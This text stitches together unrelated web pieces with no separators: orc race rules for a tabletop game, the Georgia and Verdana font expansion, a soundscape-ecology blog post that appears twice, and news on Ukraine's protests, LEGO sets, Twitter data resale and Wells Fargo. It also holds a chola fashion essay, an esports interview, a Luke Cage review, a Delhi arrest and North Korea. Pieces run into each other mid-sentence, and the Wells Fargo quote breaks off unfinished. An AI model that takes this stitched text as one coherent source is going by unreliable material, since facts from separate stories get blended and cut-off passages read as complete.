point instead. You Can’t use this feature again until you finish a short or long rest Orcish Diplomacy. Respect and fear, you’ve lived with Orcs long enough to know that’s how you survive. You have advantage to intimidation checks. Gray Orcs (Mountain Orc) Dwelling in remote, desolate corners of the world the nomadic gray orcs make out as much of a meager existence as they can, traveling along traditional migratory routes between campsites and favored caves as the seasons change. A typical gray orc tribe consists of 30 to 50 members, led by the strongest orc in the tribe, known as a chieftain. While responsible for deciding when to go to battle the position tends to be a temporary one at best as they are constantly being killed (either in battle or through treachery) and replaced. The true power behind a tribe of gray orcs, though, is the tribe's high priest, who is typically a cleric who has held the position for many years. The clerics of other tribes are often viewed as heretics, despite the fact that both tribes likely worship the same deities. Ability Score Increase. Your Wisdom score increased by 1. Cold Adapted. You have resistance to cold damage. Natural Hunter. You gain proficiency with hand axe's and spears. Mountain Tracker. You gain advantage to Wisdom (Survival) checks to track creatures in mountainous terrain. Mountain Born. You’re acclimated to high altitude, including elevations above 20,000 feet. You’re also naturally adapted to cold climates, as described in chapter 5 of the Dungeon Master’s Guide.Verdana and Georgia's prevalence is no accident: they were distributed widely, then relied upon by web designers for years. But their ubiquity has merit: Georgia and Verdana were two of the first typefaces created specifically for screen use. They were born from the brain and hand of distinguished type designer Matthew Carter, crafted for screen readability, especially at small sizes. The production was crowned with Tom Rickner’s exhaustive hinting for pristine display in any rendering environment.
It was inevitable that these two faces would find their way into print. Unfortunately, the qualities that made them great on screen made them less than ideal on paper, especially when large. The small number of styles also limited the families’ flexibility. Many organizations, like IKEA, which call for these typefaces in their style guides have only had two weights to work with. That can’t be easy for a company with a 376-page catalog and huge facilities with complex tagging and wayfinding requirements.
Starting today, relying on one’s favorite set of webfonts no longer means being confined to regular, italic, bold, and bold italic. Thanks to a partnership between Font Bureau, Carter & Cone, and Monotype Imaging, Georgia and Verdana are now extended families, enabling much more versatile use on screen and paper. Carter and Rickner worked with Steve Matteson of Monotype Imaging and David Berlow of Font Bureau to create the new, expanded editions of the fonts.Soundscape Ecology, or: An Archive Fever of the Ear [Image: Photo courtesy of the Purdue College of Agriculture/Tom Campbell, via ScienceDaily].
soundscape ecology; it will "use sound as a way to understand the ecological characteristics of a landscape," as
Sound, Pijanowski suggests, is a kind of ecological indicator: an audible symptom of other, sometimes literally invisible changes in a living network or ecosystem. Sound, for instance, can "be used to detect early changes in climate, weather patterns, the presence of pollution or other alterations to a landscape." As Pijanowski explains one example of this approach, "The dawn and dusk choruses of birds are very characteristic of a location. If the intensity or patterns of these choruses change, there is likely something causing that change. Ecologists have ignored how sound that emanates from an area can help determine what's happening to the ecosystem."
So far, unfortunately, it seems that a great flattening of the acoustic field has been the primary discovery: "One of the most significant findings was that as human impact in the landscape increases, the natural rhythms of sound created by the diverse wildlife population are replaced by low and constant human-produced noise." The great machine-drone of human life fills forests once ringing with birdsong.
Of course, this is at once slightly redundant—there is already
[Image: Sound artist Stephen Vitiello makes a field recording; photo by Turbulence].
However, one point of immediate limitation, I'd suggest, comes with Pijanowski's apparent focus on sounds produced by animals. Indeed, I'm reminded of an old essay by Francisco López, called "La Selva: Sound Environments From A Neotropical Rain Forest.
There, López seeks to remind listeners that "there is also a type of sound-producing biotic component, present in almost every environment, that is usually overlooked: plants." He then makes one of my favorite sonic observations of all time, which is that "what we call the sound of rain or wind we could better call the sound of plant leaves and branches." Quoting at length: If our perspective of nature sounds were more focused on the environment as a whole, instead of on behavioral manifestations of the organisms we foresee as most similar to us, we could also deal with plant bioacoustics. Furthermore, a sound environment is not only the consequence of all its sound-producing components, but also of all its sound-transmitting and sound-modifying elements. The birdsong we hear in the forest is as much a consequence of the bird as of the trees or the forest floor. If we are really listening, the topography, the degree of humidity of the air or the type of materials in the topsoil are as essential and definitory as the sound-producing animals that inhabit a certain space. So, add the sounds of plants, molds, and root networks, of soil itself and groundwater, of shifts in air pressure and humidity and even the underlying deep geologic structures that support all that living terrain in the first place, and an intensely interesting sonic portrait of terrestrial ecosystems takes shape, mutating through complex blurs and inflection points over time, its parts weaving in and out symphonically.
Again, this is functionally identical to acoustic ecology—with equal parts
[Image: Students from Field Studies 2010 (N.b. link auto-plays sound) explore London; photo by Marc Behrens, courtesy of The Wire].
On a slightly unrelated note, meanwhile, Britain's superlative music and sound art magazine Field Studies "provide[d] an environment for architects, artists and urbanists to explore the relationship between architecture and sound, and to'see' sound not as a scientific, acoustic event, but as a sometimes inexplicable, poetic and place-specific phenomenon." In a sense, then, specifically in terms of the discipline described above, Field Studies was a kind of urbanized anti-soundscape-ecology: more emotional and poetic than scientifically diagnostic.
But one of the workshop leaders, Marc Behrens, makes the interesting point that there is "a tech version of Moore's Law," quote-unquote. "In other words, as recording devices get smaller, more sophisticated and cheaper, opportunities increase and the art of sonic field studies evolves accordingly."
This seems to resonate well with Pijanowski's work, that, as acoustic sensors and deployable sound-capture networks become easier and cheaper both to install and to monitor (which, of course, includes for
(Just FYI, there is a whole chapter on sound in The BLDGBLOG Book). Bryan Pijanowski of Purdue University is hoping to start a new research discipline that he calls; it will "use sound as a way to understand the ecological characteristics of a landscape," as ScienceDaily reports.Sound, Pijanowski suggests, is a kind of ecological indicator: an audible symptom of other, sometimes literally invisible changes in a living network or ecosystem. Sound, for instance, can "be used to detect early changes in climate, weather patterns, the presence of pollution or other alterations to a landscape." As Pijanowski explains one example of this approach, "The dawn and dusk choruses of birds are very characteristic of a location. If the intensity or patterns of these choruses change, there is likely something causing that change. Ecologists have ignored how sound that emanates from an area can help determine what's happening to the ecosystem."So far, unfortunately, it seems that a great flattening of the acoustic field has been the primary discovery: "One of the most significant findings was that as human impact in the landscape increases, the natural rhythms of sound created by the diverse wildlife population are replaced by low and constant human-produced noise." The great machine-drone of human life fills forests once ringing with birdsong.Of course, this is at once slightly redundant—there is already acoustic ecology, for instance—and fantastically cool, throwing the door wide-open for future acoustic research (and institutional funding).However, one point of immediate limitation, I'd suggest, comes with Pijanowski's apparent focus on sounds produced. Indeed, I'm reminded of an old essay by Francisco López, called " Environmental Sound Matter," fromThere, López seeks to remind listeners that "there is also a type of sound-producing biotic component, present in almost every environment, that is usually overlooked: plants." He then makes one of my favorite sonic observations of all time, which is that "what we call the sound of rain or wind we could better call the sound of plant leaves and branches." Quoting at length:So, add the sounds of plants, molds, and root networks, of soil itself and groundwater, of shifts in air pressure and humidity and even the underlying deep geologic structures that support all that living terrain in the first place, and an intensely interesting sonic portrait of terrestrial ecosystems takes shape, mutating through complex blurs and inflection points over time, its parts weaving in and out symphonically.Again, this is functionally identical to acoustic ecology—with equal parts acoustic geology thrown in, perhaps—but it will nonetheless be interesting to see if a slight change of name (and some news buzz) results in more opportunities for funding and research.On a slightly unrelated note, meanwhile, Britain's superlative music and sound art magazine The Wire reported on something called Field Studies 2010 in an issue published last autumn."provide[d] an environment for architects, artists and urbanists to explore the relationship between architecture and sound, and to'see' sound not as a scientific, acoustic event, but as a sometimes inexplicable, poetic and place-specific phenomenon." In a sense, then, specifically in terms of the discipline described above,was a kind of urbanized anti-soundscape-ecology: more emotional and poetic than scientifically diagnostic.But one of the workshop leaders, Marc Behrens, makes the interesting point that there is "a tech version of Moore's Law," quote-unquote. "In other words, as recording devices get smaller, more sophisticated and cheaper, opportunities increase and the art of sonic field studies evolves accordingly."This seems to resonate well with Pijanowski's work, that, as acoustic sensors and deployable sound-capture networks become easier and cheaper both to install and to monitor (which, of course, includes for surveillance purposes ), we'll hear, at the very least, a massive quantitative increase in the amount of archived sonic information available for later study. An archive fever of the ear.
Newer | OlderUkraine's embattled president has sought to quell public anger by renewing talks with Brussels after massive anti-government demonstrations besieged government buildings and called for the removal of the ruling party.
President Viktor Yanukovych called the European Commission President Jose Manuel Barroso on Monday and asked to renew negotiations on signing the association agreement.
The Ukranian president has struggled to reaffirm his grip on power as thousands of demonstrators besieged government buildings in Kiev, rallying against his decision to abandon a deal for closer ties with the EU swept the country and threatened his rule.
The rally has been mostly peaceful until a group of protesters tried to storm Yanukovich's office and police chased protesters away with tear-gas and truncheons, injuring dozens.
Al Jazeera's David Chater, reporting from Kiev, said the government had ordered 1,000 Interior Ministry troops to secure government buildings, as the number of protesters grew.
"The blockade is severely disrupting the process of government here," he said.
"Essentially, President Yanukovich has lost control of the centre of Kiev."
It was a violent police action against protesters early on Saturday that galvanised the latest round of protests, whose aim is to bring down the president and his government.
At least three politicians of the governing Party of Regions have quit in protest and one of them, Inna Bohoslovska, previously a vocal government supporter, called on other legislators to leave the party.
A top Agriculture Ministry official also resigned on Monday.
Confidence vote
The opposition hoped to topple the cabinet of Prime Minister Mykola Azarov during a confidence vote in parliament on Tuesday.
The opposition, which now controls about 170 seats, would need 226 votes in the 450-seat Rada.
Oleksandr Yefremov, head of the Party of Regions faction in parliament, said politicians would discuss the situation on Tuesday morning and might then put a no-confidence motion up for a vote, but he said there were no grounds to dismiss the government.
Yefremov said the opposition's goal was to calm protesters in Independence Square down.
Vitaly Lukyanenko, Azarov's spokesman, said the government was not planning to impose a state of emergency.
He told the Interfax news agency that because government employees could not access the cabinet building, they would work online.
Opposition calls for a strike were being headed by local governments in western Ukraine, where most people speak Ukrainian and lean towards the EU.
In the industrial east of the country, most people tend to speak Russian and have a closer affinity for Russia.
Officials in the western cities of Lviv, Ivano-Frankivsk and Ternopil said they were going on strike and called on their residents to turn out for protests.
The mayor of Lviv said that police in his city would take off their uniforms and defend the city if the central government sent reinforcements.
Scores of protesters from Lviv and elsewhere in western Ukraine have headed to Kiev by train and car to take part in the rallies.
Economists were concerned what impact the protests would have on Ukraine's economy, which has been in recession for more than a year.Fans can get their building hands on mini-figs of Star-Lord, Gamora and Drax come June.
Star-Lord, Drax, Gamora and their ship Milano star in "Milano Spaceship Rescue" ($74.99), one of three LEGO sets based on the upcoming "Guardians of the Galaxy" movie out June 1. (Photo11: LEGO) Story Highlights Three 'Guardians of the Galaxy' LEGO sets will be out in June
Kids of all ages can build the Guardians' ship Milano
The 'Guardians' movie hits theaters Aug. 1
While superhero movie fans await to see footage from their upcoming summer movie, here come the Guardians of the Galaxy — or at least their LEGO mini-figure selves.
Three construction sets based on the Marvel Studios movie Guardians of the Galaxy debut in stores on June 1 and will be on display Sunday through Wednesday at Toy Fair 2014 at New York City's Javits Center.
While two remain top secret, USA TODAY has the reveal on "The Milano Spaceship Rescue" set, with 665 pieces priced at $74.99. In addition to the brick version of the Guardians' starship Milano from the movie, the pack includes mini-figs of three heroes — Star-Lord (played by Chris Pratt in the film), Gamora (Zoe Saldana), Drax the Destroyer (Dave Bautista) — as well as an alien Sakaaran Soldier and the villain Ronan the Accuser (Lee Pace).
For fans more into traditional action figures, Hasbro has a 6-inch Marvel Legends Guardians movie line releasing in July. The wave features six characters from the film — among them Star-Lord, Drax, Gamora and Rocket Raccoon (voiced by Bradley Cooper). Each will include a piece to construct a toy of the Guardians' resident sentient tree Groot (Vin Diesel).
Directed by James Gunn, Guardians of the Galaxy arrives in theaters Aug. 1.
Read or Share this story: http://usat.ly/1b2B2sgIn the push for more revenue growth, Twitter has been building up its business in areas like advertising and commerce, but a move made late Friday night points to another area where the company is setting its sights: big data analytics.
Twitter announced that it will be terminating agreements with third parties for reselling firehose data — the unfiltered, full stream of Tweets and all related metadata that goes along with them.
Instead, it will use its own in-house big data analytics team, which it developed around its acquisition of Gnip in 2014, to seek to build direct relationships with the data companies, brands and others that use Twitter data to measure consumer sentiment, market trends and other moving targets that can be better understood by tracking online conversations — a transition it says it hopes to have completed by mid-August.
DataSift, the biggest company to be affected by Twitter’s move, services thousands of businesses who in turn serve thousands more. Unsurprisingly it moved quickly to post its own reaction to the termination and its own determination to push ahead in its own business.
NTT Data, which deals only in Japanese Tweets, is still listed as a Twitter firehose partner at the time of writing, but Twitter has confirmed to me that NTT is also affected by Friday’s announcement.
This is both a very unsurprising and sudden move, from the looks of it.
Talking to Nick Halstead, the CEO and founder of DataSift, he said that his company was “blindsided” by Twitter’s announcement, which it made without any warning to DataSift. He said that before this, the pair had been discussing a renewal of the deal. And while DataSift recently added Facebook — Twitter’s big social advertising competitor — as a firehose partner, it didn’t appear that this would impact those discussions.
“We were in the middle of negotiations with everything pointing to Twitter wanting to still continue to be a part of an open ecosystem,” he said, “but this is clearly now not true.”
On the other hand, for those who have been following how Twitter has grown as a business, the company’s move to cut off third-party firehose relationships should come as no surprise.
The company has made no secret of its bigger philosophy about how it interfaces with third parties in general. In its (in)famous ‘quadrant’ diagram, the company outlined its position towards third parties that added value to what Twitter was doing versus those that effectively overlapped with Twitter’s own efforts: those who were building Twitter clients that “mimic” Twitter’s own experience in reproducing the Twitter stream were getting cut off.
You can think of last year’s move by Twitter to acquire Gnip — another firehose reseller who competed with DataSift — as a step Twitter was taking to move its interests into one more area of that quadrant.
At the time the acquisition was seen mainly as a response to Apple’s acquisition of Topsy, who had been another firehose partner. And DataSift went so far as to reassure people that its status with Twitter would not be affected. But now it’s clear that Twitter had other things in mind, too.
Zach Hofter-Shall, head of Twitter ecosystem, said as much in his blog post late Friday:
“One of the reasons Twitter acquired Gnip was because Twitter believes the best way to support the distribution of Twitter data is to have direct data relationships with its data customers – the companies building analytic solutions using Twitter’s data and platform,” he wrote. “Direct relationships help Twitter develop a deeper understanding of customer needs, get direct feedback for the product roadmap, and work more closely with data customers to enable the best possible solutions for the brands that rely on Twitter data to make better decisions…The acquisition of Gnip was the first step toward developing more direct relationships with data customers.”
In fact, whether they wanted to believe it or not, these companies were told by Twitter that they would be getting cut off nearly a year ago, we understand.
The direct relationships Twitter has with data customers, meanwhile, are also starting to take a new kind of form. Just last month, Twitter made its first investment in a startup through its new investment vehicle. The recipient? Dataminr, one of the companies that analyses Twitter firehose data, in its case to track news and financial data.
The reason why Twitter wants to tap into more big data business, of course, comes down to one big reason: money.
Since going public, Twitter has regularly faced questions about user growth. On one hand, that has led it to many iterations as it tries to snag more consumers who are not already regular Twitter users. On the other, it has increasingly focused on ways that it can better monetise what it already has.
That’s where the big-data services come in. Twitter’s data firehose, from what we understand, makes up a relatively small portion of DataSift’s revenues. The company makes 20% of its revenues from licensing data, with that data including Twitter but also more than 20 other networks. The remaining 80% comes from data processing.* Cutting off the firehose to DataSift, Twitter hopes, will potentially give it access to (and better returns on) the customer deals that DataSift held before.
(The big question now will be whether Twitter manages to convince enough of the people who used to buy data through DataSift to turn directly to Twitter for those needs instead.)
“Twitter believes that creating a closed market for their data allows them to generate more revenue,” Halstead told TechCrunch. “We believe and others believe that an open ecosystem is important for a brand to understand what is going on in the market.”
As for where DataSift is turning next, the company says it is signing on more social networks to provide its own firehose data feeds. No comment from DataSift on which feed will be next, but it’s notable LinkedIn is not yet a partner. The social network for the working world is clearly looking for more ways of using its data for analytics, and this seems an obvious route to do that.
DataSift is also still able to work with Twitter data: if a third party buys data from Twitter, it can supply it to DataSift by way of a “connector” so that it can still be parsed by DataSift’s algorithms. However, this will mean significantly lower revenues for DataSift in the process from that feed. And armed with its Facebook deal and other developments in the pipeline, DataSift is pressing ahead with business. The company is currently in the process of raising a new round of funding — a Series D round. To date, DataSift has raised nearly $78 million.
Update: Mark Suster writes that DataSift returns 95% of data revenue back to Twitter. The 20/80 ratio we were describing referred to revenues from data firehose licensing versus data processing revenues for DataSift. We’ve updated the passage above to clarify this.Urban countercultures have penetrated the mainstream throughout history. The hip-hop aesthetic, gothic clothing, and skater grunge are all examples of this phenomenon. Like a new form of gentrification, style elements change quality according to context. Recently, one particular Los Angeles fashion figure has shown up to the trend party: the chola.
We grew up in and around the LA area, and went through our chola phases. I’d like to promise you that those days have passed, but to be completely honest, we still have chola tendencies.
What is the chola aesthetic? The chola is the counterpart to the cholo: she wears hoops, dark lip liner, has thin lined eyebrows (often tattooed), and sometimes scrunches her hair. She can wear anything from loose plaid button-ups and wife-beaters, to tight stretchy no-pocket jeans. Traditionally, she rocks her signature teardrop cheek tattoo. Oh yeah, and she loves eyeliner.
A makeup tutorial went viral a few years ago, breaking down the beauty routine of the chola. This took her from regionally to internationally known…or so we thought.
One Halloween, I dressed as a chola. I went to a party here in LA attended by international students and some from other parts of the U.S. When I walked in, they were confused and unamused.
“What are you?” they asked.
“I’m a chola!” They stared blankly.
One guy broke the silence, “That means prostitute in Miami.” They all laughed.
Now I was unamused. How dare they insult my beloved chola, the goddess of Chicano LA?! I was a bit surprised at myself when I realized how offended I was. It truly felt like an attack on my city. I thought to myself if these assholes live in LA and can’t recognize what I am then they really don’t know the roots of the city they now call home.
There are socioeconomic and racial undertones to this figure, as with hip-hop culture. She began impoverished; she is a woman of color. She has an unfortunately mixed association with certain groups, one that is “less-than” or unequal. In her glory and truth, she is the representation of a people continuing their native culture while building something new in an American city. These people identified with the community they built through decided aesthetics in order to hold steadfast to the feeling of belonging. In the streets of gang-ridden and race-divided LA, it was a survival technique. And it worked. The culture they created survived, and still thrives in 2015. In fact, the Chicano/Chicana foundation on which Los Angeles was founded is precisely what gives the city its unique identity.
Bolivia has a group of native women known as cholitas. They have a totally different style and culture from those in LA, but there is a connection. Once subjugated like gypsies, these resilient women have now become fashion icons in their own right.
Trend evolution doesn’t just alter fashion; it affects the social reputations of isolated communities. Much like the gentrification of formerly ignored neighborhoods, fresh generations arrive and rediscover those existing subcultures, celebrating them and giving them a new meaning and context. That is to say the cholas and cholitas of the world never changed or apologized for who they are, with time the society around them simply opened up and embraced their culture.
The chola aesthetic has even infiltrated haute couture. The Blonds Spring/Summer 2015 collection is our favorite example of this crossover. Bamboo gold earrings, defined lips, inconveniently long nails—it is pure magic. Another recent highbrow example of the style fusion is Givenchy’s “Victorian Chola” Fall 2015 collection. Popstars like Lady Gaga, Rihanna, and Beyonce have even used the style in their music videos and photoshoots.
Mexican iconography has set trends far beyond Los Angeles. The Chicana story, in all its forms, has impacted even the most unlikely worlds. The chola, like the goddess Guadalupe, inspires the urban woman existing inside many of us. The strength and boldness of her unapologetic style have struck a chord around the world. Who wouldn’t want to channel all that she represents? She’s stuck around this long and held her own.
As the chola infiltrates other worlds, worlds that were once out of reach, her elements may shift meaning. But, in Los Angeles, and in all of us hoop-wearing women, her story will stay bright and true. You can’t deny it: on city streets and sidewalks, whether you love it or hate it, chola chic is here to stay. And we can’t get enough.NEW YORK (Reuters) - The Tim Sloan era has begun at Wells Fargo (WFC.N) but the old problems remain.
A Wells Fargo Bank is shown in Charlotte, North Carolina, U.S., September 26, 2016. REUTERS/Mike Blake
The newly installed chief executive faces a plethora of challenges following a sales practices scandal that felled his predecessor John Stumpf.
He needs to restore the bank’s reputation after revelations that staff opened as many as two million accounts without customers’ knowledge to meet internal sales goals and he has to navigate a litany of federal and state investigations arising from those revelations.
Wall Street will be his first port of call when he presents third-quarter results on Friday.
Investors are seeking reassurance that a suddenly chastened Wells Fargo can rebuild its reputation and retain profits while overhauling the hard-charging sales culture at the heart of the scandal over unauthorized accounts.
Sloan’s nearly 30 years with Wells, largely spent on the corporate and institutional side of the bank, and his moderate temperament make him an experienced pair of hands.
But as chief operating officer of the bank since November 2015, he had oversight over Wells’ retail division where the unauthorized accounts were created, some of them during his tenure as COO.
Such proximity will make it difficult to silence critics in Washington who are also investigating the scandal and have said it proves that some large banks should be broken up.
“I remain concerned that incoming CEO Tim Sloan is also culpable |
early 2012 successes. Hoping to continue his team's dominance this year, Farseer relates his opinions about the competitive scene and Dota 2 in a special interview with G-1.
Give us a short introduction of yourself.
-"Hi, I'm DK's Farseer."
Can you tell us what has been happening for DK recently? Which teams have you been playing against?
-"Our team only recently managed to come together as five, but we've managed to train with basically every team [at G-1]."
You will be playing For.Love at G-1 tonight. One of its members, Kaka, expressed that DK were like mentors they looked up to. Will you show them any mercy tonight?
-"Well, I'll say this - as a professional team, we have to be serious when it comes to tournament matches. It's about being responsible and respecting your opponents at the same time." (They later won 2-0.)
Your team will probably be meeting PanDa in the next round. What are your thoughts about them?
-"They're a formidable team and I predict that they will become a strong competitor this year. Their picks and strategies are all at the forefront of innovation; they very often take their opponents by surprise with the heroes they pick."
As the defending champions for G-1 (see), which team do you expect will give DK the hardest time?
-"LGD may be our toughest opponent."
The offline finals of G-1 will be in Shanghai. What do you have to say about this tournament?
-"It's the third season for G-1, and the previous two online seasons were actually managed quite successfully. If I had to give a suggestion, it would be to handle the time in between matches more meaningfully."
Dota 2 might enter open beta soon. How will DK respond to this? Will your team make the switch or will DK assemble a new Dota 2 team?
-"No, we will not be assembling a new team for Dota 2. We'll allocate some time to practice Dota 2 and participate in a few tournaments."
DK will face PanDa in the Winner's Bracket semifinals next Tuesday at 13:00 CET. Click here to place your GosuBets.TV Reviews All of our TV reviews in one convenient place.
Most conversations about blackness somehow end up being centered on black-on-black crime. However, the conversation about black-on-black crime is not always about black-on-black crime. It’s about a standard of behavior. It’s about setting the bar for compassion and sympathy for black lives. It inevitably ends up a discussion that’s steeped in respectability politics. So when the first details about the plot of Luke Cage were trickling out and it was revealed the show was going to deal with the issue of black-on-black crime, I rolled my eyes hard.
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Many viewers are reacting to the show as if it’s a meditation on respectability politics. Watching this episode, however, I couldn’t help but wonder when does wanting respect turn into respectability politics? I don’t think the lessons in this episode are meant to shame black folk into obedience. This episode teaches what it means for these men and women when you call them out their names.
Luke and Pops are in the barbershop for their book club. Luke dismisses the work of Donald Goines and Pops stops him and brings up Kenyatta. According to Pops, man of many opinions, Kenyatta is the “best black hero this side of Shaft.”
The first novel, Crime Partners, when described at its very loosest, is about two petty criminals killing the wrong people during a robbery gone awry. Kenyatta convinces them to fight the power while the police and the drug dealer they robbed hunt the two petty criminals down. Ring any bells? Luke favors Easy Rawlins, played by Denzel Washington in Devil In A Blue Dress, to Kenyatta. Easy Rawlins was a former WWII solider who became a day laborer in his civilian life. When he loses his factory job, he becomes an unlicensed private eye. This is getting spooky. Pops implores Luke to be more likes these heroes in the books they read. It can feel like Pops is pressuring Luke to put on a cape and be a hero, but Pops knows that neither he nor Luke can just turn their backs on Harlem.
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The conversations between Pops and Luke take on more meaning and avoid the cliché of the “Wise Old Black Man Inspires The Hero.” They’re not having a conversation about respectability politics—they became two people. Not mouthpieces for a movement but two convicted felons trying to define their lives and give them meaning. Proving society wrong: A record can condemn the victims of violence as much as it does the perpetrators. Pops and Luke are two black men trying not to do something worthy of respect. For Pops, it’s providing a safe haven for young men and for Luke, it’s finding himself.
The dedication to self-introspection of black men and how their emotions aren’t sources of weakness is amazing to watch and elevates this show. When I first saw Straight Outta Compton¸ the scenes that brought me to tears were the ones where the members of NWA were also brought to tears. The sight of black men being emotional and vulnerable and sad on screen is rare. Pops’ tears and then Luke’s (and also Cottonmouth’s) aren’t indicative of how they’re soft or how their personal tragedy has consumed them, but indicative that they are humans who have emotions and express them. It might sound like a simple thing but after decades of terrible representation, it’s wonderful and important.
Our sequin dress-wearing detective gets a little more fleshed out in this episode, too. She’s preternaturally good at her job, e.g., seeing the junkyard shootout in her mind. She doesn’t fall apart or waver when she meets Luke again for the first time after their tryst. She doesn’t let herself be underestimated. Her game of Horse is a wonderful moment of character discovery. This is not a woman you fuck with. She’s not an interloper in the community. She’s a vibrant part of it. Pairing her with a white partner only highlights how seamlessly she fits into the neighborhood. Most importantly, she gets a name: Misty Knight. Misty also corrects Pops when he calls her Mercedes. That’s not her name. There’s a reason one of the criteria in the Bechdel Test is that the women characters are named. It’s the same reason Kunta Kinte refused to be called Toby.
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She also has one of my favorite lines of the episode: “Your rap sheet has so many hits, your record could put out a record.”
The climax of the episode is not shocking: Shades and Tone head to Pops’ to bring in Chico. Any savvy viewer or reader of comic books could know that someone important was going to die to motivate Luke to spring into action. Luke isn’t motivated out of vengeance for Pops but out of a duty to not be the person who doesn’t do anything when his mentor and father figure dies. Also, it’s notable that Luke doesn’t immediately put his fist through Tone’s face. He starts to observe Mariah and her movements. He’s going to do this right.
The fallout from Pop’s death is the more shocking development. Tone and Shades clash with Cottonmouth on the roof of Harlem’s Paradise. Mariah tells her cousin that she can’t be around his nefarious activities because her reputation and respect is too important to her, but she’s continually drawn to Harlem’s Paradise, doesn’t flee when things get hairy, and takes the money out of a (near-) dead man’s hands. Cottonmouth insists that he doesn’t care about respect and he only cares about money; despite this, he throws Tone off the roof not just for breaking “the rules” of criminals but for literally calling him out his name. He doesn’t revel in being known as Cottonmouth and doesn’t indulge in the reputation the name comes with. He likes to still believe that he’s a more honorable criminal.
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This episode opens and closes with Luke standing overlooking the Crispus Attucks center when a young man asks him “What are you doing here, nigga?” and Luke answers “I’m not tired enough to ever let nobody call me that word. You see a nigga standing in front of you across the street from a building named after one of our greatest heroes?” Is Luke’s problem with the word “nigga?”
I don’t think there’s been a word more debated than “nigga.” I’m not here to defend or describe the virtues of the word “nigga” and my discussing it here is certainly not permission for those of you who will never be called a “nigga” or its more hostile counterpart to use it.
I don’t think his problem is with the word “nigga,” but rather what it means to be called a nigga, and to be treated as one. We can imagine the names a black convict has been called, names that deny him his humanity, self-respect, and dignity. To Luke, a nigga is someone who has given up, who gives in to his basest impulses and to the basest impulses of his environment. A nigga is someone not worthy of respect. In that moment, inspired by the first man to die for this country and the last man to die for Luke, Luke rejects being someone not worthy of respect. He takes the object that he’s meant to fear, that’s meant to kill him and pulls the trigger himself, stripping the gun of all its power and terror. A black man who fears neither the names society gives him nor the guns they use to kill him is a dangerous thing.
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Stray observations
I’ve talked a lot about how the camera loves Mike Colter’s body but man, oh man does it worship Mahershala Ali’s face.
The name Kenyatta is inspired by the first President of Kenya, Jomo Kenyatta, who negotiated for Kenya’s independence. Big shoes and all that.
A lot has been said in the comments about the “world-building” of the non-essential dialogue. I haven’t thought of this as “world-building” because there isn’t a world to be built here. Harlem is a real place full of real black people having real black-ass conversations like the ones on screen.
I appreciated Pops telling Cottonmouth he’s going to bump up if he uses a straight razor. Watching my brothers experiment with different shaving methods, I sympathize with black men trying to stay bump-free.
I know Pop’s death was telegraphed by virtue of being someone named “Pop” but when he caught that bullet to the neck, I gasped out loud alone in my apartment.
The “musical guest” this episode was Faith Evans, which makes Cottonmouth’s Biggie fixation all the more thought-provoking.Police on Saturday arrested AAP MLA Dinesh Mohaniya, who allegedly assaulted a 60-year-old man at southeast Delhi's Tughlaqabad area.
Delhi CM Arvind Kejriwal tweeted in Mohaniya's defense and accused Prime Minister Narendra Modi of terrorising the MLAs of his party. This came a day after the central government returned 14 pending bills of the Delhi government. It only adds to the long ongoing tussle between the two governments.
Modi declares emergency in Delhi. Arresting, raiding, terrorizing, filing false cases against all those whom Delhi elected — Arvind Kejriwal (@ArvindKejriwal) June 25, 2016
"Dinesh mohaniya arrested from his press conference in front of all TV cameras. What msg does Modi want to give to everyone?" he said in another tweet.
Dinesh mohaniya arrested from his press conference in front of all TV cameras. What msg does Modi want to give to everyone? — Arvind Kejriwal (@ArvindKejriwal) June 25, 2016
This is the second case registered against the Sangam Vihar legislator in one week. In his complaint, the 60-year-old man told police that Mohaniya allegedly slapped him, and his men thrashed him, when he approached the MLA to complain about severe water crisis in his locality on Wednesday, a senior police official said.
"Mohaniya has been arrested under Sections 323 (voluntarily causing hurt), 506 (criminal intimidation), 509 (Word, gesture or act intended to insult the modesty of a woman), 354 (Assault or criminal force to woman with intent to outrage her modesty), 354 A (Sexual harassment), 354 B (Assault or use of criminal force to woman with intent to disrobe) and 354 C (Voyeurism), said Joint Commissioner of Police(south East) RP Upadhyay.
Mohaniya was reportedly taken away from a live press conference at his office in South Delhi on Saturday.
On 23 June, a complaint was filed against him for misbehaving with a woman, who had also visited his office to complain about their water crisis. Speaking to ANI, the woman had said, "He pushed me & other women, abused us. We want a case against Dinesh Mohaniya, he should be arrested."
Mohaniya denied all charges and said, "BJP is trying to divert issue from MM Khan murder case by levelling false charges against me."
BJP trying to divert issue from MM Khan murder case by levelling false charges against me: Dinesh Mohaniya,AAP MLA pic.twitter.com/DkZBWrSoV8 — ANI (@ANI_news) June 25, 2016
AAP leader, Ashutosh, however, accused Lieutenant Governor Najeeb Jung of slapping false charges against his party's MLAs.
एम एम खान क़त्ल मामले से ध्यान भटकाने के लिये आप विधायक पर झूठे केस लगाकर जेल भेज रहे है एलजी । जंग साहब आप बच नहीं सकते । — ashutosh (@ashutosh83B) June 25, 2016
He also told reporters that "If you look at the events in the last few days, 14 bills (passed by the Delhi Assembly) have been sent back (by the Centre). Mohaniya was arrested. The SHO probing Khan's murder case has been transferred. All these suggest one thing, that it is being done to pressurise AAP, which has been taking forward the case, and save LG Najeeb Jung, BJP MP Maheish Girri and NDMC vice-chairman Karan Tanwar."
Soon after the arrest, AAP said "Our MLA wasn't allowed to hold a press conference peacefully, was arrested in presence of media." It further went on to say that the BJP is conspiring against and taking a revenge on Mohaniya.
If this is not emergency than what is? Our MLA wasn't allowed to hold a press conference peacefully, was arrested in presence of media: AAP — ANI (@ANI_news) June 25, 2016
Ishwar Singh, DCP of South Delhi, said that Mohaniya was summoned after a complaint was filed against him.
He (Dinesh Mohaniya) was summoned by police after a complaint was filed against him: Ishwar Singh (DCP, South) pic.twitter.com/FcOyZNhkyy — ANI (@ANI_news) June 25, 2016
Since he did not cooperate and serious allegations were levelled against him, the police had no option but to arrest him, Singh added.
With inputs from PTI
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.North Korean leader Kim Jong-Un (front, 2ndL) attends an art performance dedicated to nuclear scientists and technicians at the People's Theatre in Pyongyang
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Seoul (AFP)
North Korea warned on Monday it would inflict "the greatest pain and suffering" on the United States if Washington persists in pushing for harsher UN sanctions following Pyongyang's sixth nuclear test.
The September 3 detonation was the country's largest and prompted global outrage, with the UN Security Council set to discuss a new draft resolution presented by Washington that would be the toughest-ever imposed against the isolated regime.
The US is calling for an oil embargo on Pyongyang, an assets freeze on leader Kim Jong-Un, but also an end to textile exports and to payments made to North Korean guest workers.
